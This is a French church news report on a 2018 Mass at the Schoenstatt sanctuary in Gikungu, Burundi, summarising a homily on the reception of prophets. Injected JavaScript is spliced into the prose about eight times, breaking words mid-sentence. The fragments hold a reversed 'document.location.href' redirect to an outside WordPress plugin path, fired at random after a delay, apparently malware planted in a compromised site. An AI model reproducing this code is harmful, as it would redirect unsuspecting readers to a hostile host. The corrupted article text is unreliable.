Dans son introduction de la célébration eucharistique de ce dimanche 15 juillet 2018, au Sanctuaire marial de Schoenstatt Mont Sion Gikungu, le Père Herménégilde Coyitungiye a présenté aux fidèles et félicité le Diacre Marcien Ndayizeye des Pères de Schoenstatt qui a été ortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné Diacre hier à la Paroisse Regina Pacis de Kinintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do dans l’Archidiocèse de Bujumbura. Il a aussi présenté deux prêtres qui ont concélébré avec lui : il s’agit de l’Abbé Léonard Bizimungu du Diocèse de Bururi qui exerce son apostolat en Italie et l’Abbé Stanislas Ndimurabo de l’Archediocèse de Gitega et qui est en apostolat en Allemagne.
L’homélie du Père Herménégilde parlait en gros de la vie d’un prophète. Il est revenu sur l’homélie de Monseigneur Gervais Banshimiyubusa, Archevêque de Bujumbura, lors de l’ordination sacertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotale et diaconale qui portait un accent particulier sur la mission d’un prophète que venaient de devenir ceux qu’il a ortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné. L’Archevêque disait : « Namwe rero badiyakoni n’abafaratiri mwebwe tugira duhave twatira mu mabanga mwasavye murama mutegera ko muje muri inyishu Imana ihaye igihugu cayo, kubw’urukuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do igifitiye kugira ngo gikire. Ntimuze mwigere mwifata nk’abanyakazi… Mutumwe gutabara kugira ngo ivyimburwa bigeze isarura ntivyononekare mubona. » (« Vous, Diacres et Fratris, qui allez recevoir différents ordres, soyez et demeurez toujours conscients que vous êtes des solutions que Dieu envoie à son pays afin qu’il ait la paix. Ne vous considérez jamais comme des ouvriers…Votre mission est d’assister et appuyer les moissonneurs pour que la récolte ne se détériore sous vos yeux. »
Le Père Herménégilde a raconté deux choses qui démontrent que les prophètes ne sont pas bien accueillis : il s’agit en premier de ces gens qui demeurent dans l’obscurantisme et surtout le fétichisme. Ce comportement qui s’observe dans différents coins du pays y compris les milieux citadins est un signe palpable qui montre que la voix des prophètes n’est pas entendue. C’est aussi la façon toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont les prophètes sont considérés par les administratifs. A l’exemple de Jésus lui-même, son enseignement a été réfuté par les dirigeants de sa région. Ainsi se passe aussi pour nos prophètes locaux. Malgré cela, conclut le Père Herménégilde, un prophète toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit toujours crier pour la paix et la justice, il toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit toujours prêcher la Bonne Nouvelle et accomplir la volonté de Dieu notre Père comme l’a fait Jésus notre Seigneur !
Jean de Dieu Niyonkuru